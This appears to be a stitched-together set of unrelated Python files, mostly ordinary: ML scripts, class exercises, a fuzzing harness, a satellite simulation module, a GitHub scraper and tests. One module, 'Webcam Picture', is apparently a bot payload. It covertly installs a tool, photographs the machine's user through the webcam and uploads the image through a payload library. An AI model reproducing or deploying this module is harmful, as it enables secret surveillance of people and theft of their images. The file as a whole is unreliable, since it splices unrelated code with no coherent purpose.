checkpointFilename = 'G:/PointCloudEngineCheckpoints/DragonSparse128 8 Frames Batch 6 SRM 100 500 1000 500 0/Checkpoint.pt'
scriptedFilenameSCM = 'Models/SCM.pt'
scriptedFilenameSFM = 'Models/SFM.pt'
scriptedFilenameSRM = 'Models/SRM.pt'

SCM = UnetPullPush(5, 1, 16).to(device)
SFM = UnetPullPush(7, 2, 16).to(device)
SRM = UnetPullPush(16, 8, 16).to(device)

# Load model parameters from checkpoint
checkpoint = torch.load(checkpointFilename)
SCM.load_state_dict(checkpoint['SCM'])
SFM.load_state_dict(checkpoint['SFM'])
SRM.load_state_dict(checkpoint['SRM'])

UndoWeightNormalization(SCM)
UndoWeightNormalization(SFM)
UndoWeightNormalization(SRM)

# Script models in order to use them in C++
scriptedSCM = torch.jit.script(SCM)
scriptedSFM = torch.jit.script(SFM)
scriptedSRM = torch.jit.script(SRM)
scriptedSCM.save(scriptedFilenameSCM)
scriptedSFM.save(scriptedFilenameSFM)
scriptedSRM.save(scriptedFilenameSRM)


class User:
  def __init__(self, name, email):
    self.name = name
    self.email = email
    self.accounts = {
      "checking": BankAccount(int_rate=0.02, balance=0),
      "savings": BankAccount(int_rate=0.02, balance=0),
      "roth_ira": BankAccount(int_rate=0.02, balance=0),
      "ira": BankAccount(int_rate=0.02, balance=0),
    }

  def make_deposit(self, amount, type):
    self.accounts[type].balance += amount
    return self

  def make_withdrawal(self, amount, type):
    self.accounts[type].balance -= amount
    return self

  def transfer_money(self, type, other_user, other_user_type, amount):
    self.accounts[type].balance -= amount
    other_user.accounts[other_user_type].balance += amount
    return self

  def display_user_balance(self, type):
    print(f"User: {self.name}, balance: ${self.accounts[type].balance}")

# Bank Account Object

class BankAccount:
  def __init__(self, int_rate=0.02, balance=0):
    self.int_rate = int_rate
    self.balance = balance

  def deposit(self, amount):
    self.balance += amount
    return self

  def withdraw(self, amount):
    if self.balance > 0:
      self.balance -= amount
      return self
    else:
      self.balance -= 5
      print(f"Insufficient funds: Charging a $5 fee")
      return self

  def display_account_info(self):
      print(f"Balance: ${self.balance}")

  def yield_interest(self):
    if self.balance > 0:
      self.balance += self.balance * self.int_rate
      return self
    else:
      return self

user1 = User("John Doe", "john@gmail.com")
user2 = User("Jane Doe", "jane@gmail.com")
user3 = User("Lebron James", "lebron@lakers.com")

user1.make_deposit(1000,"checking").make_deposit(1000,"checking").make_deposit(1000,"checking").make_withdrawal(1000,"checking").transfer_money("checking",user3,"checking",100).display_user_balance("checking")
user2.make_deposit(10000,"savings").make_deposit(1000,"checking").make_withdrawal(2000, "savings").display_user_balance("savings")
user2.display_user_balance("checking")
user3.make_deposit(5000000, "ira").make_deposit(70000000, "checking").make_withdrawal(10000,"checking").make_withdrawal(10000, "checking").make_withdrawal(10000, "checking").display_user_balance("ira")
user3.display_user_balance("checking")


import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from sklearn.ensemble import RandomForestClassifier
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import StratifiedKFold
from sklearn.model_selection import train_test_split
from sklearn.feature_selection import RFECV

for dataset in ["artificial"]:
    x = pd.read_csv(f"~/Python Projects/AML Project 2/AML_Project_2/data/{dataset}_train.data.txt", sep=" ").iloc[:, :-1]
    scaler = StandardScaler()
    x = scaler.fit_transform(x)
    y = pd.read_csv(f"~/Python Projects/AML Project 2/AML_Project_2/data/{dataset}_train.labels.txt", sep=" ").to_numpy().ravel()
    y = (y + 1) // 2

    features_numbers = [ 28,  48,  64, 105, 128, 153, 241, 281, 318, 336, 338, 378, 433,
        442, 451, 453, 455, 472, 475, 493]
    x = x[:, features_numbers]
    model_transformed = RandomForestClassifier()
    model_transformed.fit(x, y)

    x_test = pd.read_csv(f"~/Python Projects/AML Project 2/AML_Project_2/data/{dataset}_valid.data.txt", sep=" ").iloc[:, :-1]
    x_test = scaler.transform(x_test)
    x_test_transformed = x_test[:, features_numbers]

    print(x_test.shape, x_test_transformed.shape)
    print(model_transformed.classes_)
    pd.DataFrame(model_transformed.predict_proba(x_test_transformed)[:, 1]).to_csv(
        f"results/{dataset}_valid.labels.txt", index=False, header="PAUPAC"
    )


from threading import Thread
from .sqlite_interface import SqliteInterface

__version__ = '0.0.1'
__author__ = 'Molly LeCompte'

storage_config = {
    'local': {'interface': SqliteInterface, 'args': ['../../strom_storage.db'], 'kwargs': {}},
}

def storage_worker_store(interface, item):
    if type(item) is tuple:
        if item[0] == 'template':
            if len(item) == 2:
                interface.store_template(item[1])
            else:
                raise ValueError(
                    f"Invalid storage tuple- template storage expects tuple len 2, received len {len(item)}")
        elif item[0] == 'bstream':
            if len(item) == 3:
                interface.store_bstream_data(item[1], item[2])
            else:
                raise ValueError(
                    f"Invalid storage tuple- bstream storage expects tuple len 3, received len {len(item)}")
        else:
            raise ValueError(f"Invalid storage tuple item {item[0]}- tuple index 0 must be str 'template' or 'bstream'")
    else:
        raise ValueError (f"Invalid storage item- expects type tuple, received type {type(item)}")

def init_interface(interface, args, kwargs):
    return interface(*args, **kwargs)

class StorageWorker(Thread):
    def __init__(self, queue, config, storage_type):
        super().__init__()
        self.q = queue
        self.interface = init_interface(config[storage_type]['interface'], config[storage_type]['args'], config[storage_type]['kwargs'])
        self.running = False

    def run(self):
        self.interface.open_connection()
        self.running = True
        while True:
            item = self.q.get()
            if item == 'stop_storage':
                break
            storage_worker_store(self.interface, item)
        print('THREAD CLOSING')
        self.interface.close_connection()


from abc import ABC, abstractmethod
from itertools import combinations
from typing import TYPE_CHECKING, Optional

if TYPE_CHECKING:  # pragma: no cover
    from bsk_rl.envs.general_satellite_tasking.types import Satellite

import numpy as np
from scipy.sparse.csgraph import connected_components

from bsk_rl.envs.general_satellite_tasking.simulation.dynamics import LOSCommDynModel

class CommunicationMethod(ABC):
    def __init__(self, satellites: Optional[list["Satellite"]] = None) -> None:
        """Base class for defining data sharing between satellites. Subclasses implement
        a way of determining which pairs of satellites share data."""
        self.satellites = satellites

    def reset(self) -> None:
        """Called after simulator initialization"""
        pass

    @abstractmethod  # pragma: no cover
    def _communication_pairs(self) -> list[tuple["Satellite", "Satellite"]]:
        """List pair of satellite that should share data"""
        pass

    def communicate(self) -> None:
        """Share data between paired satellites"""
        for sat_1, sat_2 in self._communication_pairs():
            sat_1.data_store.stage_communicated_data(sat_2.data_store.data)
            sat_2.data_store.stage_communicated_data(sat_1.data_store.data)
        for satellite in self.satellites:
            satellite.data_store.communication_update()

class NoCommunication(CommunicationMethod):
    """Implements no communication between satellite"""

    def _communication_pairs(self) -> list[tuple["Satellite", "Satellite"]]:
        return []

class FreeCommunication(CommunicationMethod):
    """Implements communication between satellites at every step"""

    def _communication_pairs(self) -> list[tuple["Satellite", "Satellite"]]:
        return list(combinations(self.satellites, 2))

class LOSCommunication(CommunicationMethod):
    # TODO only communicate data from before latest LOS time
    def __init__(self, satellites: list["Satellite"]) -> None:
        """Implements communication between satellites that have a direct line of
        sight"""
        super().__init__(satellites)
        for satellite in self.satellites:
            if not issubclass(satellite.dyn_type, LOSCommDynModel):
                raise TypeError(
                    f"Satellite dynamics type {satellite.dyn_type} must be a subclass "
                    + "of LOSCommDynModel to use LOSCommunication"
                )

    def reset(self) -> None:
        super().reset()

        self.los_logs = {}
        for sat_1 in self.satellites:
            assert isinstance(sat_1.dynamics, LOSCommDynModel)
            for sat_2 in self.satellites:
                if sat_1 is not sat_2:
                    if sat_1 not in self.los_logs:
                        self.los_logs[sat_1] = {}

                    msg_index = sat_1.dynamics.los_comms_ids.index(sat_2.id)
                    logger = self.los_logs[sat_1][
                        sat_2
                    ] = sat_1.dynamics.losComms.accessOutMsgs[msg_index].recorder()

                    sat_1.simulator.AddModelToTask(
                        sat_1.dynamics.task_name, logger, ModelPriority=586
                    )

    def _communication_pairs(self) -> list[tuple["Satellite", "Satellite"]]:
        pairs = []
        for sat_1, logs in self.los_logs.items():
            for sat_2, logger in logs.items():
                if any(logger.hasAccess):
                    pairs.append((sat_1, sat_2))
        return pairs

    def communicate(self) -> None:
        super().communicate()
        for sat_1, logs in self.los_logs.items():
            for sat_2, logger in logs.items():
                logger.clear()

class MultiDegreeCommunication(CommunicationMethod):
    """Compose with another type to have multi-degree communications. For example, if
    a <-> b and b <-> c, also communicate between a <-> c"""

    def _communication_pairs(self) -> list[tuple["Satellite", "Satellite"]]:
        graph = np.zeros((len(self.satellites), len(self.satellites)), dtype=bool)
        for sat_1, sat_2 in super()._communication_pairs():
            graph[self.satellites.index(sat_1), self.satellites.index(sat_2)] = True

        pairs = []
        n_components, labels = connected_components(graph, directed=False)
        for comp in range(n_components):
            for i_sat_1, i_sat_2 in combinations(np.where(labels == comp)[0], 2):
                pairs.append((self.satellites[i_sat_1], self.satellites[i_sat_2]))
        return pairs

class LOSMultiCommunication(MultiDegreeCommunication, LOSCommunication):
    pass


import hashlib
from datetime import datetime
from socket import socket, AF_UNIX, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR, error
from struct import unpack, pack
from subprocess import Popen
from time import sleep
from typing import Generator, Iterable
from sys import stdout
import click
import numpy as np

def server(input_):
    return hashlib.sha224(input_).digest()

def client() -> Iterable[bytes]:
    while True:
        yield np.random.bytes(10)

def post_inputs(input_, conn):
    # SEND INPUT
    datalen = len(input_)
    # print(datalen)
    # mutation repetions
    # print("sending")
    # sock.send(b'5')
    # conn.send(pack('I', 0))
    conn.sendall(pack('I', 0))  # no mutreps
    # print("sent")
    # input length and input
    conn.sendall(pack('I', datalen) + input_)
    # print('SENT>> ' + str(input_))

    # READ FUZZER OBSERVATIONS
    n_coverages = unpack('I', conn.recv(4))[0]
    for i in range(n_coverages):
        len_ = unpack('I', conn.recv(4))[0]
        res = conn.recv(len_)
        # print('RECV>> ' + str(res))

# in jazzer
def receiving_inputs(sock):
    mutrep = unpack('I', sock.recv(4))[0]
    len_ = unpack('I', sock.recv(4))[0]
    input_ = sock.recv(len_)
    # print('RECV>> ' + str(input_))
    out = mutrep + 1
    sock.sendall(pack('I', out))
    for i in range(out):
        result = server(input_)
        sock.sendall(pack('I', len(result)) + result)
        # print('SENT>> ' + str(result))

    return input_

@click.command()
@click.option('--role', default='server', help='Server or client role?')
@click.option('--addr', default='/tmp/test.sock', help='socket address')
def main(role='server', addr='/tmp/test.sock'):
    if role == 'server':
        sock = socket(AF_UNIX, SOCK_STREAM, proto=0)
        # sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        sock.bind(addr)
        sock.listen(1)
        Popen(['../../bin/jazzer/jazzer', '-oracle=1', '--keep-going=100000', '--cp=examples_deploy.jar',
               '--target_class=com.example.JsonSanitizerDenylistFuzzer'], stdout=stdout, stderr=stdout)
        # sleep(1)
        conn, client_address = sock.accept()
        print("Accepted connection from {:s}".format(client_address))
        for input_ in client():
            post_inputs(input_, conn)

        sock.close()
    else:

        with socket(AF_UNIX, SOCK_STREAM, proto=0) as sock:
            start = datetime.now()
            while True:
                try:
                    sock.connect(addr)
                    # print("connection established")
                    break
                except (ConnectionRefusedError, FileNotFoundError):
                    # wait and retry
                    # print(f'Waiting for {addr} to accept connections ({(datetime.now() - start).seconds:.1f}s)',
                    #       end='\r')
                    sleep(.1)

            while receiving_inputs(sock):
                pass

if __name__ == '__main__':
    main()


'''
NAME: Webcam Picture
DESCRIPTION: Takes webcam image and saves image to bot's /tmp folder with a date-time stamp
'''
import os
import subprocess
import datetime
import sys

'''Takes webcam image and saves image to bot's /tmp folder with a date-time stamp
    Note: installing brew may seem extreme, but ideally we would like all bots to end up with brew at some point'''

# if os.system('which -s brew') != 0:
#     # Cannot actually install homebrew since sudo is required, need full terminal or
#     # tricky askpass program shenanigans
#     print("Installing Homebrew")
#     # user does not have brew, must install
#     os.system('ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"')
#

if os.system('which -s imagesnap') != 0 and os.system('which -s brew') == 0:
    print("Installing imagesnap...")
    # user does not have imagesnap, must install
    os.system('brew install imagesnap')

if os.system('which -s imagesnap') == 0:
    filename = '/tmp/image-{}.png'.format(datetime.datetime.now().strftime('%Y-%m-%d-%H-%M'))

    print("Taking picture...")
    # take image and save it in tmp, then respond with output
    proc = subprocess.Popen(['imagesnap', filename],
                            stdin=subprocess.PIPE,
                            stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE)
    (out, err) = proc.communicate()

    payloadlib.upload(filename)

    sys.stderr.write(err)
    sys.stdout.write(out)
else:
    sys.stderr.write("Failed to install imagesnap")


class ListNode(object):
    def __init__(self, x):
        self.val = x
        self.next = None

class Solution(object):
    """
    O(N) Time
    O(1) Space
    """
    def hasCycleOptimal(self, head):
        if not head:
            return False

        slow = head
        fast = head

        while fast and fast.next:
            slow = slow.next
            fast = fast.next.next
            if slow == fast:
                return True

        return False
    """
    O(N) Time
    O(N) Space

    - we add the nodes itself to the hashmap, not the node's value --> since we could a multiple nodes with same value
    - but different next pointers
    - you can't use node's val as key, since the value is an integer
    """
    def hasCycleUsingHashmap(self, head):
        if not head:
            return False

        map = {}
        while head:
            if head in map:
                return True

            map[head] = 1
            head = head.next

        return False


from __future__ import division

import collections
import itertools
import random
import operator
import numpy as np
import csv

from neuralnet import NeuralNetwork
from Agent import Agent

from math import exp

from strategy import Strategy
from collections import deque
from player import Player

from deuces import Card
from deuces import Evaluator

#cardRank = {'A' : 12, 'K' : 11, 'Q' : 10, 'J' : 9, 'T' : 8, '9' : 7, '8' : 6, '7' : 5, '6' : 4, '5' : 3, '4' : 2, '3' : 1, '2' : 0}
#suitRank = {'s' : 3, 'c' : 2, 'd' : 1, 'h' : 0}
action_numbers = {'F' : 0.2 , 'C' : 0.4, 'R' : 0.6, 'S' : 0.8, 'O' : 1, 0 : 0}
actions = ['F', 'C', 'R']

class NNAgent_v2(Agent):

    def __init__(self, buy_in, n_players, ID=0):
        self.n_opponents = n_players - 1
        self.states = [buy_in, 0, None]   # [current funds, bet amount, action]
        self.earnings = 0
        self.id = ID
        self.evaluator = Evaluator()

        self.num_opp_actions = 5
       # self.num_feature_elements = 169 + (self.num_opp_actions * self.n_opponents) + 3
        self.num_feature_elements = 1 + self.n_opponents+1 +1   # one element representing the hand, "n_opponents"+1 representing the
                                                                # actions of each player and one more representing the action of the agent
        self.batch_size = 50000 # could have this as a parameter

        # initialize neural network
        self.network = NeuralNetwork(test_mnist=False, input_layer_size=self.num_feature_elements)

        # array of feature vectors
        #self.X_train = np.empty([self.batch_size, self.num_feature_elements])
        self.X_train = np.empty([self.batch_size, self.num_feature_elements])
        # array of target values (i.e. Q(feature vector))
        self.y_train = np.empty([self.batch_size, 1])

        self.prev_state_action_vector = None
        self.e = 0.3 # value for e-greedy
        self.iteration_num = 0

        self.tag_dict = {}

        self.create_tag_dict()

    def create_tag_dict(self):
        # Assigns normalized values to each tag

        index = float(1/169)
        tag_dict = {}
        with open('./data/tag_list.txt', 'rb') as csv_file:
            reader = csv.reader(csv_file)
            for row in reader:
                tag_dict[row[0]] = round(index,3)
                index += float(1/169)

        self.tag_dict = tag_dict

    def getCardNum(self, c):
        return self.tag_dict[c]

    # get output of neural network
    def Q(self, vector):
        return self.network.predict(vector)

    def trainQ(self):
        self.network.updateData(train_data=self.X_train, train_labels=self.y_train, input_layer_size=self.num_feature_elements)
        self.network.train(num_epochs=10)

    def getAction(self, game, call, raise_amt):
        cur_funds = self.states[0]
        cur_bet = self.states[1]
        diff = call - cur_bet
        raise_bet = diff + raise_amt

        action = None

        # can't call
        if diff > cur_funds:
            action = 'F'

        # can't raise
        if raise_bet > cur_funds:
            action_set = ['F', 'C']

        # can do anything
        else:
            action_set = ['F', 'C', 'R']

        # 52 elements to represent the hand, number opponents elements * 3 elements to represent last actions, 3 elements to represent agents action
        state_action_vector = np.zeros(1 + self.n_opponents+1 +1)

        # indicating the hand
        state_action_vector[0] = self.getCardNum(self.getHandTag())

       # other_player_actions = tuple(game.last_player_actions)

        for i in range(len(game.last_player_actions)):
            state_action_vector[i+1] = action_numbers[game.last_player_actions[i]]
        # indicating the opp. actions
        #for i in xrange(self.n_opponents):

           # state_action_vector[ + self.num_opp_actions * i + action_numbers[other_player_actions[i]]] = 1

    #    num_state_features = 52 + (self.num_opp_actions * self.n_opponents)

        if not action:
            # net has not been trained yet
            if self.iteration_num < self.batch_size:
                max_action_value = 0
                action = random.choice(action_set)

            else:
                r = random.uniform(0, 1)

                max_action_value = -np.inf
                max_legal_action_value = -np.inf # might not be able to do every action

                # choose best possible action
             #   for (i, a) in enumerate(actions):
                for i in actions:
                    state_action_vector[len(state_action_vector)-1] = action_numbers[i]

                    action_value = self.Q(state_action_vector)

                    if action_value > max_action_value:
                        max_action_value = action_value

                    if i in action_set:
                        if action_value > max_legal_action_value:
                            max_legal_action_value = action_value
                            action = i

                    # state_action_vector[num_state_features + i] = 0

                # e-greedy exploration
                if r < self.e:
                    action = random.choice(action_set)

        else:
            max_action_value = 0

        # print action
       # state_action_vector[num_state_features + action_numbers[action]] = 1

        if self.prev_state_action_vector is not None:
            self.X_train[self.iteration_num % self.batch_size] = self.prev_state_action_vector
            self.y_train[self.iteration_num % self.batch_size] = np.array(max_action_value)

            self.iteration_num += 1
            if self.iteration_num % self.batch_size == 0:
                self.trainQ()

        self.prev_state_action_vector = state_action_vector

        state_action_vector[len(state_action_vector)-1] = action_numbers[action]

        return action

    # add reward to training set
    def QReward(self, reward):
        if self.prev_state_action_vector is not None:
            self.X_train[self.iteration_num % self.batch_size] = self.prev_state_action_vector
            self.y_train[self.iteration_num % self.batch_size] = np.array(reward)

            self.iteration_num += 1
            if self.iteration_num % self.batch_size == 0:
                self.trainQ()

            self.prev_state_action_vector = None


import config
import torch

class EntityDataset:
    def __init__(self, texts, pos, tags):
        # texts: [["hi", ",", "my", "name", "is", "abhishek"], ["hello".....]]
        # pos/tags: [[1 2 3 4 1 5], [....].....]]
        self.texts = texts
        self.pos = pos
        self.tags = tags

    def __len__(self):
        return len(self.texts)

    def __getitem__(self, item):
        text = self.texts[item]
        pos = self.pos[item]
        tags = self.tags[item]

        ids = []
        target_pos = []
        target_tag =[]

        for i, s in enumerate(text):
            inputs = config.TOKENIZER.encode(
                s,
                add_special_tokens=False
            )
            # abhishek: ab ##hi ##sh ##ek
            input_len = len(inputs)
            ids.extend(inputs)
            target_pos.extend([pos[i]] * input_len)
            target_tag.extend([tags[i]] * input_len)

        ids = ids[:config.MAX_LEN - 2]
        target_pos = target_pos[:config.MAX_LEN - 2]
        target_tag = target_tag[:config.MAX_LEN - 2]

        ids = [101] + ids + [102]
        target_pos = [0] + target_pos + [0]
        target_tag = [0] + target_tag + [0]

        mask = [1] * len(ids)
        token_type_ids = [0] * len(ids)

        padding_len = config.MAX_LEN - len(ids)

        ids = ids + ([0] * padding_len)
        mask = mask + ([0] * padding_len)
        token_type_ids = token_type_ids + ([0] * padding_len)
        target_pos = target_pos + ([0] * padding_len)
        target_tag = target_tag + ([0] * padding_len)

        return {
            "ids": torch.tensor(ids, dtype=torch.long),
            "mask": torch.tensor(mask, dtype=torch.long),
            "token_type_ids": torch.tensor(token_type_ids, dtype=torch.long),
            "target_pos": torch.tensor(target_pos, dtype=torch.long),
            "target_tag": torch.tensor(target_tag, dtype=torch.long),
        }


#SVR
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd

dataset = pd.read_csv('data/Position_Salaries.csv')
x = dataset.iloc[:,1:2].values
y = dataset.iloc[:,2:3].values

from sklearn.preprocessing import StandardScaler
sc_x = StandardScaler()
sc_y = StandardScaler()
x = sc_x.fit_transform(x)
y = sc_y.fit_transform(y)

from sklearn.svm import SVR
regression = SVR(kernel="rbf")
regression.fit(x,y)
y_pred = regression.predict(sc_x.transform([[6.5]]))
y_pred = sc_y.inverse_transform(y_pred)
print(y_pred)
# X_grid = np.arange(min(x),max(x),0.1)
# X_grid = X_grid.reshape(len(X_grid),1)

plt.scatter(x, y, color = 'red')
plt.plot(x, regression.predict(x), color = 'blue')
plt.title('Modelo de reg svr')
plt.xlabel('posicion del empleado')
plt.ylabel('Sueldo')
plt.show()


import os

import yaml
import pandas as pd
from finetuning import PawpularityModel

from shutil import copyfile

from datetime import date

from utils.train_handler import TrainHandler
from utils.utils import set_seed, create_folds

def parse_config(config):
    # used to check if config makes sense
    # make later versions of config backwards comaptible

    today = date.today()
    folder_prefix = str(today.strftime("%Y%m%d"))

    folder_list = os.listdir('model_output/finetuning')
    folder_suffixes = [x.split('-')[-1] for x in folder_list]

    if '-' in config['global']['folder_suffix']:
        raise Exception('suffix connot contain "-"')
    elif config['global']['folder_suffix'] in folder_suffixes:
        raise Exception('folder with the suffix already exists')
    else:
        os.makedirs(os.path.join('model_output', 'finetuning', folder_prefix + '-' + config['global']['folder_suffix']))
        config['global']['folder_name'] = folder_prefix + '-' + config['global']['folder_suffix']
        os.makedirs(os.path.join('model_output', 'finetuning', config['global']['folder_name'], 'head_only_model'))
        os.makedirs(os.path.join('model_output', 'finetuning', config['global']['folder_name'], 'full_model'))

    copyfile('config.yaml', os.path.join(config['global']['folder_name']))

    return config

def run_finetuning():
    with open("config.yaml", 'r') as stream:
        ft_config = yaml.safe_load(stream)

    ft_config = parse_config(ft_config)

    set_seed(ft_config['global']['seed'])

    train = pd.read_csv('data/raw/train.csv')
    train = create_folds(train, ft_config['global']['num_folds'], ft_config['global']['seed'])

    ft_handler = TrainHandler(model_class=PawpularityModel, train=train, config=ft_config)
    ft_handler.run()


from unittest import TestCase, mock
from nose.plugins.attrib import attr

from shiftschema.translator import Translator
from shiftschema.result import Result,Error
from shiftschema import validators as validator

@attr('translations', 'messages')
class MessageTranslationsTests(TestCase):

    locale = 'en'

    def validate_messages(self, expected, actual):
        """ A helper to check messages """
        for exp in expected:
            error = 'Expected message [{}] not found.'.format(exp)
            self.assertTrue(exp in actual, msg=error)

    def result(self):
        """ Preconfigured result object """
        result = Result(translator=Translator(), locale=self.locale)
        return result

    def test_translatable_digits(self):
        """ Digits validator is translatable """
        result = self.result()
        errors = [Error(validator.Digits.not_digital)]

        result.add_errors('property', errors)
        msgs = result.get_messages()

        exp = ['Must only consist of digits.']
        self.validate_messages(exp, msgs['property'])

    def test_translatable_choice(self):
        """ Choice validator is translatable """
        result = self.result()
        errors = [Error(validator.Choice.invalid_choice)]

        result.add_errors('property', errors)
        msgs = result.get_messages(locale='en')

        exp = ['Provided value is not a valid choice']
        self.validate_messages(exp, msgs['property'])

    def test_translatable_length(self):
        """ Length validator is translatable """
        result = self.result()
        params = dict(min=10,max=100)
        errors = [
            Error(validator.Length.too_long, params),
            Error(validator.Length.too_short, params),
            Error(validator.Length.not_in_range, params),
        ]

        result.add_errors('property', errors)
        msgs = result.get_messages(locale='en')

        exp = [
            'String is too long. Maximum is 100',
            'String is too short. Minimum is 10',
            'String length not in range 10-100 characters'
        ]
        self.validate_messages(exp, msgs['property'])

    def test_translatable_email(self):
        """ Length validator is translatable """
        result = self.result()
        params = dict()
        errors = [
            Error(validator.Email.not_email, params),
        ]

        result.add_errors('property', errors)
        msgs = result.get_messages(locale='en')

        exp = ['This is not a valid email']
        self.validate_messages(exp, msgs['property'])


import requests,json,shutil,os,sys,time,glob,datetime

#get all repo names
orgName='MicrochipTech'
page=True

if len(sys.argv) >=2:
    token=sys.argv[1]
else :
    token=""

#get all topics to filter for
with open('topics.txt') as f:
    topicsFilter = f.read().splitlines()

#prepare the output folder
for mdpath in glob.iglob(os.path.join("docs", '*.md')):
    os.remove(mdpath)

#Create the main readme
file=open(os.path.join(".","docs","readme.md"),"w")
file.write(f''+'\n\n')
file.write(f'# Project topics in [{orgName}](https://github.com/{orgName})'+'

\n\n')
for topic in topicsFilter:
    file.write(f'### [{topic}]({topic})' +'\n')

for topic in topicsFilter:
    if len(topic)<2:
        continue
    print(f'processing topic : {topic}')
    repoDict=[]
    pageNum=0
    page= True
    while page: #more pages to fetch
        time.sleep(0.1) #ratelimit
        searchResult=json.loads(requests.get(f'https://api.github.com/search/repositories?q=topic:{topic}+org:{orgName}&per_page=100&page={pageNum}', headers={"Authorization": f'token {token}'}).text)
        reposJson=searchResult["items"]
        if len(reposJson):
            for repo in reposJson:
                try:
                    repoDict.append({"name":repo["name"],"description":repo["description"],"html_url":repo["html_url"]})
                except Exception as e:
                    print(e)
                    print("ERROR!! Error processing repo list\n\n")
                    print(reposJson)
                    exit(-1)
            pageNum=pageNum+1
        else:
            page=False
        if not searchResult["incomplete_results"]:
            page=False

        #create table header
        fileName=os.path.join(".","docs",topic+".md")
        if not os.path.exists(fileName): #prepare the table header
            file = open(fileName, "a")
            file.write(f''+'\n\n')
            file.write(f'# Projects under topic [*"{topic}"*](https://github.com/search?q=org%3A{orgName}+topic%3A{topic}&type=repository) in [{orgName}](https://github.com/{orgName})'+'\n\n')
            file.write(f'|**Project**|**Description**|**Latest Release**|'+'\n')
            file.write(f'|---|---|---|'+'\n')
        else:
            file = open(fileName, "a")

        #write data to file
        for repo in repoDict:
            time.sleep(0.1) #ratelimit
            relStr="N/A"
            release=json.loads(requests.get(f'https://api.github.com/repos/{orgName}/{repo["name"]}/releases', headers={"Authorization":f"token {token}"}).text)
            if len(release):         #not every repo will have a release
                latestRel=release[0] #take the latest release
                if "tag_name" in latestRel.keys(): #just a Defensive check
                    relStr=f'[{latestRel["tag_name"]}]({latestRel["html_url"]})'
            file.write(f'[{repo["name"]}]({repo["html_url"]}) | {repo["description"]} | {relStr}'+'\n')
        file.close()

#attach timestamp. will cause a force commit.
current_utc = datetime.datetime.utcnow()
for filename in glob.glob(os.path.join('docs', '*.md')):
   with open(os.path.join(os.getcwd(), filename), 'a') as f:
      f.write('\n\n'+f'Generated on UTC {current_utc}'+'\n')


#print ("pyPoll")

#These are my column headers
'''
Voter ID
County
Candidate

worksheet name: election_data

'''
# Dependencies
import csv

# Files to use and create
fileToLoad = "/Users/eli/Desktop/Assignments/Week-4_Python1/python-challenge/PyPoll-challenge/raw-data/election_data.csv"
fileToOutput = "/Users/eli/Desktop/Assignments/Week-4_Python1/python-challenge/PyPoll-challenge/output/electionAnalysis_1.txt"

# Total vote counter
totalVotes = 0

#Candidate options and vote counters
candidateOptions = []
candidateVotes = {} #cand name and votes

# Winning candidates and winning count tracker
winningCandidate = ""
winningCount = 0

# Read in the csv and convert it into a list of dictionaries
with open(fileToLoad) as election_data:
    reader = csv.DictReader(election_data)

    # For each row...
    for row in reader:

        # Add to the total vote count
        totalVotes = totalVotes + 1

        #Extract the candidate name from each row
        candidateName = row["Candidate"]

        # If the candidate does not mathc any existing candidate...
        if candidateName not in candidateOptions:

            # Add it to the list of candidates in the running
            candidateOptions.append(candidateName)

            # And begin tracking that candidates voter count
            candidateVotes[candidateName] = 0

        # Then add a vote to the candidates count
        candidateVotes[candidateName] = candidateVotes[candidateName] + 1

#Print the resutls and export the data to our text file
with open(fileToOutput, "w") as txt_file:

    # print the final vote count
    electionResults = (
        f"\n\nElection Results:\n"
        f"----------------------\n"
        f"Total Votes: {totalVotes}\n"
        f"----------------------\n"
    )

    print(electionResults)

    # Save the final vote count to the text file
    txt_file.write(electionResults)

    # Determine the winner by looping through the counts
    for candidate in candidateVotes:

        # Retrieve the vote count and percentage
        votes = candidateVotes.get(candidate)
        votePercentage = float(votes) / float(totalVotes) * 100

        # Determine winning vote coutnt and candidate
        if (votes > winningCount):
            winningCount = votes
            winningCandidate = candidate

        # Print each candidates voter count and percentage
        voterOutput = f"{candidate}: {votePercentage:.3f}% ({votes})\n"
        print(voterOutput)

        # Save each candidates voter count and percentage to text file
        txt_file.write(voterOutput)

    # Print the winning candidate
    winningCandidateSummary = (
        f"----------------------\n"
        f"Winner: {winningCandidate}\n"
        f"----------------------\n"
    )

    print(winningCandidateSummary)

    # Save the winning candidates name to the text file
    txt_file.write(winningCandidateSummary)


from django.urls import path
from . import views

app_name = 'movies'

# URL Configuration
urlpatterns = [
    # /movies, we use '' because of root of movies app
    path('', views.index, name='index'),
    path('<int:movie_id>', views.detail, name='detail')
]


class Testcase():
    """
    Represents a testcase for a puzzle. A test-case contains a series of inputs, and expected outputs. All values should be between 0-999 inclusive
    """
    def __init__(self, inputs: list[int], expected_outputs: list[int], inputs2: list[int]=None, expected_outputs2: list[int]=None):
        """
        Parameters
        ----------
        inputs:
            A list of inputs, between 0 and 999
        expected_outputs:
            A list of expected outputs, between 0 and 999
        inputs2 (optional):
            A second list of inputs, between 0 and 999
        expected_outputs2:
            A list of expected outputs, between 0 and 999
        """
        if inputs2 == None:
            inputs2 = [0]*len(inputs)
            expected_outputs2 = [0]*len(expected_outputs)

        #ensure the lists are the same length, raise error if not
        if len(inputs) != len(expected_outputs):
            raise ValueError("The inputs and expected_outputs lists should be of the same length!")

        #ensure all elements are between 0-999 inclusive, raise error if not
        for value_list, name in zip(
            [
                inputs, inputs2, expected_outputs, expected_outputs2
            ],
            [
                "inputs", "inputs2", "expected_outputs", "expected_outputs2"
            ]
        ):
            for index, value in enumerate(value_list):
                if value < 0:
                    raise ValueError(f"{name} list element at index {index} was smaller than 0. Elements must be between 0-999 inclusive.")
                elif value > 999:
                    raise ValueError(f"{name} list element at index {index} was greater than 999. Elements must be between 0-999 inclusive.")

        self.inputs = inputs
        self.inputs2 = inputs2
        self.expected_outputs = expected_outputs
        self.expected_outputs2 = expected_outputs2